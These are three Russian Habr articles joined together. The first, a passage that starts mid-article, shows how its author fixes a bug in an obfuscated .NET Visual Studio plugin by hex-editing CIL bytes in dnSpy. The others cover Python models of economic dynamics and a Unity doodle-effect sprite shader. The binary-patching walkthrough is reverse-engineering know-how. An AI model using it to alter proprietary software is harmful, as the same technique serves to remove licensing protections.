> list.RemoveAt(num3);
Рассуждения (мысли вслух):
1. В методе CmdDocComment::a есть локальная переменная содержащая массив строк
```
List list = A\_0.e;
```
2. Первый элемент этого массива хранит начало описания функции, структуры, класса и т.д., Тоесть ключевое слово «class», «struct», «union»
```
list[0] == "struct"
```
3. Каждый элемент массива содержит отдельное слово. В нашем случае это будут {«class», «DATA\_READER\_DLL\_EXPORTS», «ClassForReadFile»}
4. Есть цикл который обходит все элементы массива «е», ищет элемент "\_\_declspec", и удаляет его и все что есть в скобках
5. Есть дополнительное условие выхода из цикла. Это нахождение слов «where» или ":". Служебное слово «where» мне, честно говоря, не знакомо, а ":" используется при наследовании классов
Определим новый алгоритм и цель изменений:
1. изменения не должны повлиять на остальную функциональность
2. удалять элементы массива «list» будем по алгоритму
— пропускаем первый элемент;
— если следующий элемент не ":" и не «where» и не конец массива, тогда удаляем.
Напишем желаемый цикл
```
// этот цикл оставим без изменений, так как в цикле есть еще присваивание временной переменной num2
while (num3 < list.Count && !(list[num3] == "where") && !(list[num3] == ":"))
{
// условие, о котором мы ничего не знаем. Оставим его как есть
if (list[num3] == A_0.b && num2 < 0)
{
num2 = num3;
}
// вместо if (list[num3] == "__declspec"), напишем
if (num3 != 0 && num3 < (list.Count - 1) && list[num3 + 1] != ":" && list[num3 + 1] != "where")
{
e.RemoveAt(index);
--index;
}
num3++;
}
```
Осталось это запрограммировать.
Шаг 3
-----
Запрограммировать громко сказано. Программирование в общем случае это написание исходных кодов, компиляция, линковка. Но обфускатор лишил нас такой возможности. Воспользуемся рекомендованным [инструментом dnSpy](https://habr.com/ru/post/444886/#comment_19934350). Мы будем менять HEX коды команд CIL прямо в библиотеке, что, как оказалось, очень увлекательно и познавательно! Приступим. Откроем dnSpy, загрузим библиотеку.
**Найдем наш метод**
выделим while и изменим вид на IL
**Наш цикл**
Также приведу листинг, хоть он и довольно громоздкий
**Наш цикл**
```
/* 0x00016710 07 */ IL_018C: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/* 0x00016711 1119 */ IL_018D: ldloc.s V_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/* 0x00016713 6FF900000A */ IL_018F: callvirt instance !0 class [mscorlib]System.Collections.Generic.List`1::get\_Item(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x00016718 72925E0070 \*/ IL\_0194: ldstr "where" // Помещает в стек ссылку на новый объект, представляющий строковой литерал, хранящийся в метаданных.
/\* 0x0001671D 287000000A \*/ IL\_0199: call bool [mscorlib]System.String::op\_Equality(string, string) // Вызывает метод, на который ссылается переданный дескриптор метода.
/\* 0x00016722 3AAB000000 \*/ IL\_019E: brtrue IL\_024E // Передает управление конечной инструкции, если значение value равно true, либо отличается от null и от нуля.
/\* 0x00016727 07 \*/ IL\_01A3: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x00016728 1119 \*/ IL\_01A4: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x0001672A 6FF900000A \*/ IL\_01A6: callvirt instance !0 class [mscorlib]System.Collections.Generic.List`1::get\_Item(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x0001672F 72A31D0070 \*/ IL\_01AB: ldstr ":" // Помещает в стек ссылку на новый объект, представляющий строковой литерал, хранящийся в метаданных.
/\* 0x00016734 287000000A \*/ IL\_01B0: call bool [mscorlib]System.String::op\_Equality(string, string) // Вызывает метод, на который ссылается переданный дескриптор метода.
/\* 0x00016739 3A94000000 \*/ IL\_01B5: brtrue IL\_024E // Передает управление конечной инструкции, если значение value равно true, либо отличается от null и от нуля.
/\* 0x0001673E 07 \*/ IL\_01BA: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x0001673F 1119 \*/ IL\_01BB: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x00016741 6FF900000A \*/ IL\_01BD: callvirt instance !0 class [mscorlib]System.Collections.Generic.List`1::get\_Item(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x00016746 03 \*/ IL\_01C2: ldarg.1 // Загружает аргумент с индексом 1 в стек вычислений.
/\* 0x00016747 7B12010004 \*/ IL\_01C3: ldfld string Atomineer.Utils.CmdDocComment/GeneratorInfo::b // Выполняет поиск значения поля в объекте, ссылка на который находится в стеке вычислений.
/\* 0x0001674C 287000000A \*/ IL\_01C8: call bool [mscorlib]System.String::op\_Equality(string, string) // Вызывает метод, на который ссылается переданный дескриптор метода.
/\* 0x00016751 2C07 \*/ IL\_01CD: brfalse.s IL\_01D6 // Передает управление конечной инструкции, если значением value является false, пустая ссылка или ноль.
/\* 0x00016753 09 \*/ IL\_01CF: ldloc.3 // Загружает в стек вычислений локальную переменную с индексом 3.
/\* 0x00016754 16 \*/ IL\_01D0: ldc.i4.0 // Помещает целочисленное значение 0 в стек вычислений как int32.
/\* 0x00016755 2F03 \*/ IL\_01D1: bge.s IL\_01D6 // Передает управление конечной инструкции (короткая форма), если первое значение больше второго или равно ему.
/\* 0x00016757 1119 \*/ IL\_01D3: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x00016759 0D \*/ IL\_01D5: stloc.3 // Извлекает верхнее значение в стеке вычислений и сохраняет его в списке локальных переменных с индексом 3.
/\* 0x0001675A 07 \*/ IL\_01D6: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x0001675B 1119 \*/ IL\_01D7: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x0001675D 6FF900000A \*/ IL\_01D9: callvirt instance !0 class [mscorlib]System.Collections.Generic.List`1::get\_Item(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x00016762 729E5E0070 \*/ IL\_01DE: ldstr "\_\_declspec" // Помещает в стек ссылку на новый объект, представляющий строковой литерал, хранящийся в метаданных.
/\* 0x00016767 287000000A \*/ IL\_01E3: call bool [mscorlib]System.String::op\_Equality(string, string) // Вызывает метод, на который ссылается переданный дескриптор метода.
/\* 0x0001676C 2C51 \*/ IL\_01E8: brfalse.s IL\_023B // Передает управление конечной инструкции, если значением value является false, пустая ссылка или ноль.
/\* 0x0001676E 1119 \*/ IL\_01EA: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x00016770 17 \*/ IL\_01EC: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x00016771 58 \*/ IL\_01ED: add // Складывает два значения и помещает результат в стек вычислений.
/\* 0x00016772 07 \*/ IL\_01EE: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x00016773 6FF700000A \*/ IL\_01EF: callvirt instance int32 class [mscorlib]System.Collections.Generic.List`1::get\_Count() // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x00016778 2F37 \*/ IL\_01F4: bge.s IL\_022D // Передает управление конечной инструкции (короткая форма), если первое значение больше второго или равно ему.
/\* 0x0001677A 07 \*/ IL\_01F6: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x0001677B 1119 \*/ IL\_01F7: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x0001677D 17 \*/ IL\_01F9: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x0001677E 58 \*/ IL\_01FA: add // Складывает два значения и помещает результат в стек вычислений.
/\* 0x0001677F 6FF900000A \*/ IL\_01FB: callvirt instance !0 class [mscorlib]System.Collections.Generic.List`1::get\_Item(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x00016784 1F29 \*/ IL\_0200: ldc.i4.s 41 // Помещает переданное значение с типом int8 в стек вычислений как int32 (короткая форма).
/\* 0x00016786 6FC800000A \*/ IL\_0202: callvirt instance int32 [mscorlib]System.String::IndexOf(char) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x0001678B 0C \*/ IL\_0207: stloc.2 // Извлекает верхнее значение в стеке вычислений и сохраняет его в списке локальных переменных с индексом 2.
/\* 0x0001678C 08 \*/ IL\_0208: ldloc.2 // Загружает в стек вычислений локальную переменную с индексом 2.
/\* 0x0001678D 16 \*/ IL\_0209: ldc.i4.0 // Помещает целочисленное значение 0 в стек вычислений как int32.
/\* 0x0001678E 3221 \*/ IL\_020A: blt.s IL\_022D // Передает управление конечной инструкции (короткая форма), если первое значение меньше второго значения.
/\* 0x00016790 07 \*/ IL\_020C: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x00016791 1119 \*/ IL\_020D: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x00016793 17 \*/ IL\_020F: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x00016794 58 \*/ IL\_0210: add // Складывает два значения и помещает результат в стек вычислений.
/\* 0x00016795 07 \*/ IL\_0211: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x00016796 1119 \*/ IL\_0212: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x00016798 17 \*/ IL\_0214: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x00016799 58 \*/ IL\_0215: add // Складывает два значения и помещает результат в стек вычислений.
/\* 0x0001679A 6FF900000A \*/ IL\_0216: callvirt instance !0 class [mscorlib]System.Collections.Generic.List`1::get\_Item(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x0001679F 08 \*/ IL\_021B: ldloc.2 // Загружает в стек вычислений локальную переменную с индексом 2.
/\* 0x000167A0 17 \*/ IL\_021C: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x000167A1 58 \*/ IL\_021D: add // Складывает два значения и помещает результат в стек вычислений.
/\* 0x000167A2 6FCB00000A \*/ IL\_021E: callvirt instance string [mscorlib]System.String::Substring(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x000167A7 6F8600000A \*/ IL\_0223: callvirt instance string [mscorlib]System.String::Trim() // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x000167AC 6FFF00000A \*/ IL\_0228: callvirt instance void class [mscorlib]System.Collections.Generic.List`1::set\_Item(int32, !0) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x000167B1 07 \*/ IL\_022D: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x000167B2 1119 \*/ IL\_022E: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x000167B4 6F6701000A \*/ IL\_0230: callvirt instance void class [mscorlib]System.Collections.Generic.List`1::RemoveAt(int32) // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x000167B9 1119 \*/ IL\_0235: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x000167BB 17 \*/ IL\_0237: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x000167BC 59 \*/ IL\_0238: sub // Вычитает одно значение из другого и помещает результат в стек вычислений.
/\* 0x000167BD 1319 \*/ IL\_0239: stloc.s V\_25 // Извлекает верхнее значение в стеке вычислений и сохраняет его в списке локальных переменных с индексом index (короткая форма).
/\* 0x000167BF 1119 \*/ IL\_023B: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x000167C1 17 \*/ IL\_023D: ldc.i4.1 // Помещает целочисленное значение 1 в стек вычислений как int32.
/\* 0x000167C2 58 \*/ IL\_023E: add // Складывает два значения и помещает результат в стек вычислений.
/\* 0x000167C3 1319 \*/ IL\_023F: stloc.s V\_25 // Извлекает верхнее значение в стеке вычислений и сохраняет его в списке локальных переменных с индексом index (короткая форма).
/\* 0x000167C5 1119 \*/ IL\_0241: ldloc.s V\_25 // Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма).
/\* 0x000167C7 07 \*/ IL\_0243: ldloc.1 // Загружает в стек вычислений локальную переменную с индексом 1.
/\* 0x000167C8 6FF700000A \*/ IL\_0244: callvirt instance int32 class [mscorlib]System.Collections.Generic.List`1::get\_Count() // Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений.
/\* 0x000167CD 3F3EFFFFFF \*/ IL\_0249: blt IL\_018C // Передает управление конечной инструкции, если первое значение меньше второго.
```
Теперь перед нами окно в CIL командами, их HEX представление, смещение в файле и описание. Все в одном месте. Очень удобно (спасибо [CrazyAlex25](https://habr.com/ru/users/CrazyAlex25/)).
Обратим внимание на блок с упоминанием "\_\_declspec". Смещение блока 0x0001675A. Это будет начало наших правок. Далее найдем метод RemoveAt. Он нам пригодится в неизменном виде. Последний байт блока 0x000167BF. Перейдем в HEX-редактор **Ctrl+X** и запишем в этот диапазон 0x00. Сохраним и проверим к чему привели изменения.
**пустой цикл**
```
while (num3 < list.Count && !(list[num3] == "where") && !(list[num3] == ":"))
{
if (list[num3] == A_0.b && num2 < 0)
{
num2 = num3;
}
list.RemoveAt(num3);
num3--;
num3++;
}
```
Теперь будем реализовывать новую логику. Для начала добавим условие
```
if (num3 != 0 && num3 < list.Count - 1)
```
В таблице приведены новые команды и их описание
| 1119 | ldloc.s | Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма). |
| --- | --- | --- |
| 2C61 | brfalse.s | Передает управление конечной инструкции, если значением value является false, пустая ссылка или ноль. Примечание: Если num3 == 0, то переходим к шагу увеличения итератора цикла. Значение 0x64 это смещение адреса до инструкции 0x000167BF (см. листинг) |
| 1119 | ldloc.s | Загружает в стек вычислений локальную переменную с указанным индексом (короткая форма) |
| 07 | ldloc.1 | Загружает в стек вычислений локальную переменную с индексом 1 |
| 6FF700000A | callvirt | get\_Count() — Вызывает метод объекта с поздней привязкой и помещает возвращаемое значение в стек вычислений |
| 17 | ldc.i4.1 | Помещает целочисленное значение 1 в стек вычислений как int32 |
| 59 | sub | Вычитает одно значение из другого и помещает результат в стек вычислений |
| 2F55 | bge.s | Передает управление конечной инструкции (короткая форма), если первое значение больше второго или равно ему. Примечание: Если num3 > list.Count — 1, то переходим к шагу увеличения итератора цикла. Значение 0x55 это смещение адреса до инструкции 0x000167BF |
Эти байты запишем начиная со смещения 0x0001675A. Сохраним и декомпилируем заново
**Первое условие**
```
while (num3 < list.Count && !(list[num3] == "where") && !(list[num3] == ":"))
{
if (list[num3] == A_0.b && num2 < 0)
{
num2 = num3;
}
// появилось наше первое условие
if (num3 != 0 && num3 < list.Count - 1)
{
list.RemoveAt(num3);
num3--;
}
num3++;
}
```
Теперь добавим проверку строк «where» и ":". Следующий HEX-код привожу без дополнительных комментариев:
```
07 11 19 17 58 6F F9 00 00 0A 72 A3 1D 00 70 28 70 00 00 0A 2D 3F
07 11 19 17 58 6F F9 00 00 0A 72 92 5E 00 70 28 70 00 00 0A 2D 29
```
декомпилируем и получаем то, что и планировали
**Новый цикл**
```
while (num3 < list.Count && !(list[num3] == "where") && !(list[num3] == ":"))
{
if (list[num3] == A_0.b && num2 < 0)
{
num2 = num3;
}
if (num3 != 0 && num3 < list.Count - 1 && !(list[num3 + 1] == ":") && !(list[num3 + 1] == "where"))
{
list.RemoveAt(num3);
num3--;
}
num3++;
}
```
С такими изменениями плагин сгенерит следующее документирование кода:
```
/** The class for read file. */
class DATA_READER_DLL_EXPORTS ClassForReadFile
{
};
```
### Заключение
В этом уроке мы научились применять наши знания для исправлений багов. Конечно, данный пример не отражает все многообразие ошибок и их лечение, но это не «банальный кряк». Мы исправили явный баг не имея исходных кодов, и не пересобирая приложение. | https://habr.com/ru/post/445126/ | null | ru | null |
# Простые модели экономической динамики на Python
### Введение
В моих публикациях [1,2] экономические задачи рассматривались в статике без учёта времени. В задачах оптимизации экономической динамики анализируются изменение экономических параметров и их взаимосвязей во времени. В моделях экономической динамики время может рассматриваться как дискретное изменяющееся скачком, например, за год. Для описания таких процессов используются разностные уравнения. При непрерывном изменении во времени для описания параметров модели используются дифференциальные уравнения.
### Постановка задачи
Для первого знакомства с моделями экономической динамика достаточно рассмотреть две типовые модели. Это паутинообразная модель и модель и модель Калдора в которых и реализованы два указанных подхода к описанию экономической динамики.
### Паутинообразная модель экономической динамики [3]
Модель позволяет исследовать устойчивость цен и объемов производства на рынке, описываемом кривыми спроса и предложения некоторого товара. Функция спроса S(p) характеризует зависимость объема спроса на товар от цены р товара в данный период i. Функция предложения D(p) характеризует объем предложения товара в зависимости от цены товара. Равновесная цена р, рынка определяется равенством спроса и предложения S(p) = D(p).
Производитель определяет объём предлагаемого товара исходя из спроса и цен на товар установившихся в предыдущем периоде – i-1.
Для решения этого уравнения зададим объём в начальный период Q0 и используя обратную функцию предложения определим цену на товар.
Объём производства в следующий период времени определим через функцию спроса
и так далее.
Если функции спроса и предложения меняются, то колебания цен будут определятся только отклонением цены от равновесной.
**Листинг паутинообразной модели**
```
from scipy.optimize import *
import numpy as np
import matplotlib.pyplot as plt
a=1;b=0.2# Постоянные для функций спроса и предложения
def fun_1(x,a): #Функция спроса
return np.e**(-a*x**2)
def fun_2(x,b): #Функция предложения
return b*x**2
x0=round(fsolve(lambda x:fun_1(x,a)-fun_2(x,b),1)[0],3)#Равновесная цена
x=np.arange(0,x0+1,0.01)
plt.figure()
plt.title('Паутинообразная модель динамики цен и объёмов производства', size=12)
plt.xlabel('Цена товара', size=12)
plt.plot(x, fun_1(x,a), 'r', linestyle ='--',linewidth = 1, label='Функция спроса')
plt.plot(x, fun_2(x,b), 'b', linestyle ='-' ,linewidth = 1, label='Функция предложения ')
plt.plot(x0, fun_2(x0,b), marker = 'o', markersize = 6, markerfacecolor = 'g', label='Равновесное производство ' )
plt.plot(x0, 0, marker = 's', markersize = 6, markerfacecolor = 'r', label='Равновесная цена товара ' )
plt.legend(loc='best')
plt.grid(True)
q=[];p=[];x=[]
q.append(0.6)
p.append(round(fsolve(lambda x:fun_1(x,a)-q[0],1)[0],3))
for i in np.arange(0,7):
x.append(i)
if i!=0:
q.append(fun_2(p[i-1],b))
p.append(round(fsolve(lambda x:fun_1(x,a)-q[i],1)[0],3))
plt.figure()
plt.title('Колебания цены и объёмов производства ', size=12)
plt.xlabel('Период времени', size=12)
plt.plot(x, p, 'r', marker = 's', markersize = 6, markerfacecolor = 'r', label='Колебания цены')
plt.plot(x, q, 'b', marker = 'o', markersize = 6, markerfacecolor = 'b', label='Колебания объёмов производства')
plt.legend(loc='best')
plt.grid(True)
plt.show()
```
Результаты работы программы
### Вывод
Корректируя постоянные a, b по статистике работы рынка товаров (такой анализ хорошо разработан в scipy.stats) паутинообразную модель можно использовать для корректировки объёмов производства.
**Модель Калдора[4]**
В модели предпринята попытка объяснения циклического характера изменения экономической активности факторами сбережений S(y) и инвестиций I(y), где y – доход. В модели объемы сбережений и инвестиций являются не линейными, а логистическими (S-образными) функциями.
**Листинг модели Калдора**
```
from scipy.optimize import *
from scipy.misc import derivative
import numpy as np
import matplotlib.pyplot as plt
c=2.2;a=-0.9;h=0.1
def f(x):
return 3*x-2*c*(a+x)**3+2*a**3-1.5
def s(x):
return c*(a+x)**3-a**3+2
def l(x):
return 3*x-c*(a+x)**3+a**3+0.5
rx=[];ry=[];dy=[];dz=[]
for i in np.arange(0,3):
x=round(fsolve(lambda x:f(x),i)[0],3)
z=derivative(f, x, dx=1e-6)
rx.append(x)
ry.append(s(x))
dz.append(z)
x=[i*h for i in np.arange(0,18)]
z=[s(i*h) for i in np.arange(0,18)]
v=[l(i*h) for i in np.arange(0,18)]
plt.figure()
plt.title('Модель Каллора динамики сбережений и инвестиций', size=12)
plt.xlabel('Доход', size=12)
plt.plot(x, z, 'r', linestyle ='--',linewidth = 2, label='Логистическая функция сбережений -s(x)')
plt.plot(x, v, 'b', linestyle ='-' ,linewidth = 2, label='Логистическая функция инвестиций-l(x)')
plt.plot(rx[0], ry[0], marker = 's', markersize = 6, label='Устойчивая точка y1 - df/dx<0,df/dx= '+ str(round(dz[0],3)))
plt.plot(rx[1], ry[1], marker = 'o', markersize = 6, label='Не устойчивая точка y2 - df/dx>0,df/dx='+ str(round(dz[1],3)))
plt.plot(rx[2], ry[2], marker = 's', markersize = 6, label='Устойчивая точка y3 - df/dx<0,df/dx= '+ str(round(dz[2],3)))
plt.legend(loc='best')
plt.grid(True)
T=4;N=50; h=T/N
y=[];y.append(1.2)
z=[];z.append(0.987)
u=[];u.append(0.5)
x=[ i*h for i in np.arange(0,N+2)]
for i in np.arange(1,N+2):
y.append(y[i-1]+h*f(y[i-1]))
for i in np.arange(1,N+2):
z.append(z[i-1]+h*f(z[i-1]))
for i in np.arange(1,N+2):
u.append(u[i-1]+h*f(u[i-1]))
y1= [rx[0] for i in np.arange(0,N+2)]
y3= [rx[2] for i in np.arange(0,N+2)]
y2= [rx[1] for i in np.arange(0,N+2)]
plt.figure()
plt.title('Модель Каллора интегрированный \n доход при различных начальных условиях', size=12)
plt.plot(x, y,linewidth = 2, label=' f(x0)=1.2')
plt.plot(x, z,linewidth = 2, label='f(x0)=0.987')
plt.plot(x, u,linewidth = 2, label=' f(x0)=0.5')
plt.plot(x, y1,linewidth = 1, label=' y1')
plt.plot(x, y3,linewidth = 1, label=' y3')
plt.plot(x, y2,linewidth = 1, label='y2')
plt.legend(loc='best')
plt.grid(True)
plt.show()
```
Результат работы программы – динамика сбережений и инвестиций.
Равновесие достигается при условии S(y) = 1(у). На графике таких точек три. Устойчивых точек только две y1 и y3, поскольку производная в них от функции f(y) =I(у) — S(y) отрицательна.
Изменение дохода в такой системе можно представить в виде дифференциального уравнения dy/dt=f(y) при начальных условиях y(0)=y0.
Результат работы программы – интегрированный доход при различных начальных условиях.
Когда величина дохода соответствует одному из равновесных состояний, оно может сохраняться неограниченно долго. Однако изменениях в экономической ситуации для неустойчивого равновесия, например, в точке y2, приведут к переходу в одну из устойчивых точек у1 или у3 в зависимости от ухода влево или вправо от положения равновесия. Для устойчивых точек при малых отклонениях от положения равновесия произойдет возврат к этому же состоянию. Это справедливо при постоянных функциях инвестиций и сбережений. Периодические изменения деловой активности приведут к деформации этих функций, что и объясняет циклический характер развития экономики и демонстрирует приведенный график.
### Вывод
Корректируя по статистическим данным константы с и а входящие в функции сбережений и инвестиций используя модель Каллора можно получить информацию для поддержки управленческих решений.
Всём спасибо за внимание!
### Ссылки
1. [Решение закрытой транспортной задачи с дополнительными условиями средствами Python.](https://habrahabr.ru/users/scorobey/posts/)
2. [Решение задач линейного программирования с использованием Python.](https://habrahabr.ru/users/scorobey/posts/)
3. [Паутинообразная модель равновесия.](http://www.grandars.ru/student/ekonomicheskaya-teoriya/pautinoobraznaya-model-ravnovesiya.html)
4. [Модель делового цикла Калдора.](http://poznayka.org/s76591t1.html) | https://habr.com/ru/post/336946/ | null | ru | null |
# Шейдерный эффект дудла
В этом туториале я расскажу о том, как с помощью шейдеров воссоздать популярный спрайтовый эффект дудла в Unity. Если для вашей игры необходим такой стиль, то из этой статьи вы узнаете, как достичь его без отрисовки кучи дополнительных изображений.
Последние несколько лет этот стиль становится всё более популярным и активно используется в таких играх, как [GoNNER](https://store.steampowered.com/app/437570/GoNNER/) и [Baba is You](https://store.steampowered.com/app/736260/Baba_Is_You/).
В этом туториале рассказано всё необходимое, от основ кодирования шейдеров до используемой математики. В конце статьи есть ссылка на скачивание полного пакета Unity.
На создание этого туториала меня вдохновил успех [Doodle Studio 95!](https://fernandoramallo.itch.io/doodle-studio-95).
Введение
========
В своём блоге я исследую довольно сложные темы, от [математики инверсной кинематики](https://www.alanzucconi.com/?p=8368) до [атмосферного рэлеевского рассеяния](https://www.alanzucconi.com/?p=7472). Мне очень нравится делать такие трудные темы понятными для широкой аудитории. Но количество людей, заинтересованных в них и имеющих достаточный технический уровень, не так велико. Поэтому вас не должно удивлять, что самыми популярными статьями оказываются самые простые. Это относится и к недавнему твиту [Ника Кэмана](https://twitter.com/SmashyNick), в котором он показал как создать **эффект дудла** в Unity.
> Here's a little trick I like to use to get a 'doodle' effect in Unity: Instead of hand-drawing different frames of the same sprite, you can put the sprite on a mesh and offset the vertices with a normal map that scrolls heavily X times per second. [#gamedev](https://twitter.com/hashtag/gamedev?src=hash&ref_src=twsrc%5Etfw) [#unitytips](https://twitter.com/hashtag/unitytips?src=hash&ref_src=twsrc%5Etfw) [pic.twitter.com/ycd9nf9qOz](https://t.co/ycd9nf9qOz)
>
> — Nick Kaman (@SmashyNick) [June 25, 2018](https://twitter.com/SmashyNick/status/1011319744031440896?ref_src=twsrc%5Etfw)
После 1000 лайков и 4000 ретвитов стало поняятно, что существует сильный спрос на более простые туториалы, которые могут изучать даже люди, почти не обладающие знаниями создания шейдеров.
Если вы ищете профессиональный и эффективный способ анимирования 2D-спрайтов с большой степенью художественного контроля, то я крайне рекомендую вам [Doodle Studio 95!](https://fernandoramallo.itch.io/doodle-studio-95) (см. GIF ниже). [Здесь](https://itch.io/games/made-with-doodle-studio-95) можно посмотреть на некоторые игры, в которых используется этот инструмент.
Анатомия эффекта дудла
======================
Для воссоздания эффекта дудла нам сначала нужно понять, как он работает и какие техники в нём применяются.
**Шейдерный эффект.** Во-первых, мы хотим, чтобы этот эффект был как можно проще и не требовал дополнительных скриптов. Это возможно благодаря использованию **шейдеров**, сообщающих Unity, как рендерить 3D-модели (в том числе и плоские!) на экране. Если вы незнакомы с миром **кодирования шейдеров**, то вам стоит изучить мою статью [A Gentle Introduction to Shaders](https://www.alanzucconi.com/2015/06/10/a-gentle-introduction-to-shaders-in-unity3d/).
**Спрайтовый шейдер.** В комплекте Unity есть множество типов шейдеров. Если вы пользуетесь предоставляемыми Unity 2D-инструментами, то, скорее всего, работаете со **спрайтами**. Если это так, то вам нужен **Sprite Shader** — особый тип шейдеров, совместимый с `SpriteRenderer` Unity. Или же можно начать с более традиционного **Unlit shader**.
**Смещение вершин.** При отрисовке спрайтов вручную ни один кадр не будет полностью совпадать с другими. Мы хотим заставить спрайт каким-то образом «колебаться», чтобы симулировать этот эффект. В шейдерах есть очень эффективный способ для этого, применяющий **смещение вершин**. Это техника, позволяющая менять позицию вершин 3D-объекта. Если мы случайным образом сдвинем их, то получим желаемый эффект.
**Время перемещения.** Рисуемые от руки анимации обычно имеют низкую частоту кадров. Если мы хотим симулировать, допустим, пять кадров в секунду, то нужно менять позицию вершин спрайтов по пять раз в секунду. Однако Unity скорее всего будет выполнять игру с гораздо более высокой частотой обновления; возможно, с 30 или даже 60 кадрами в секунду. Чтобы спрайт не менялся по 60 раз в секунду, нужно поработать над компонентом таймингов анимации.
Шаг 1: дополняем спрайтовый шейдер
==================================
Если вы захотите создать новый шейдер в Unity, то выбор будет довольно ограниченным. Самым близким шейдером, с которого мы можем начать, будет **Unlit Shader**, хоть он и не обязательно лучше всего подходит для наших целей.
Если вы хотите, чтобы шейдер дудла был полностью совместим со `SpriteRenderer` Unity, то нам нужно дополнить существующий **Sprite Shader**. К сожалению, мы не можем получить к нему доступ непосредственно из самого Unity.
Добраться до него можно, зайдя на страницу [Unity download archive](https://unity3d.com/get-unity/download/archive) и скачав пакет **Build in shaders** для той версии Unity, с которой вы работаете. Это zip-файл, содержащий исходный код всех шейдеров, поставляемых с вашей сборкой Unity.
После скачивания распакуйте его и найдите в папке `builtin_shaders-2018.1.6f1\DefaultResourcesExtra` файл `Sprites-Diffuse.shader`. Именно этот файл мы будем использовать в туториале.
**Sprites-Diffuse не является стандартным спрайтовым шейдером!**
При создании нового спрайта его стандартный материал использует шейдер под названием `Sprites-Default.shader`, а не `Sprites-Diffuse.shader`.
Разница между ними в том, что первый не использует освещение, а второй реагирует на освещение в сцене. Из-за особенностей реализации Unity диффузную версию намного проще редактировать, чем версию без освещения.
В конце этого туториала есть ссылка на скачивание шейдеров дудла с учётом освещения и без него.
Шаг 2: смещение вершин
======================
Внутри `Sprites-Diffuse.shader` есть функция под названием `vert`, являющаяся **вершинной функцией**, о которой мы говорили выше. Её название не важно, главное, чтобы оно совпадало с указанным в разделе `vertex:` директивы `#pragma`:
```
#pragma surface surf Lambert vertex:vert nofog nolightmap nodynlightmap keepalpha noinstancing
```
Если говорить вкратце, то вершинная функция вызывается для каждой вершины 3D-модели и решает, как наложить её на двухмерное пространство экрана. В данном туториале нас интересует только, как сместить объект.
Параметр `appdata_full v` содержит поле `vertex`, в котором содержится 3D-позиция каждой вершины в **пространстве объекта**. При изменении значения вершина сдвигается. То есть, например, показанный ниже код перенесёт объект с его шейдером на одну единицу вдоль оси X.
```
void vert (inout appdata_full v, out Input o)
{
v.vertex = UnityFlipSprite(v.vertex, _Flip);
v.vertex.x += 1;
#if defined(PIXELSNAP_ON)
v.vertex = UnityPixelSnap (v.vertex);
#endif
UNITY_INITIALIZE_OUTPUT(Input, o);
o.color = v.color * _Color * _RendererColor;
}
```
По умолчанию создаваемые в Unity 2D-игры оперируют только с осями X и Y, поэтому нам нужно изменить `v.vertex.xy`, чтобы переместить спрайт на двухмерной плоскости.
**Что такое пространство объекта?**
Поле `vertex` структуры `appdata_full` содержит позицию текущей вершины, обрабатываемой шейдером в пространстве объекта. Это позиция вершины при допущении, что объект расположен в центре мира (0,0,0), без изменения масштаба и без поворота.
Вершины, выраженные в мировом пространстве, отражают их реальное положение в сцене Unity.
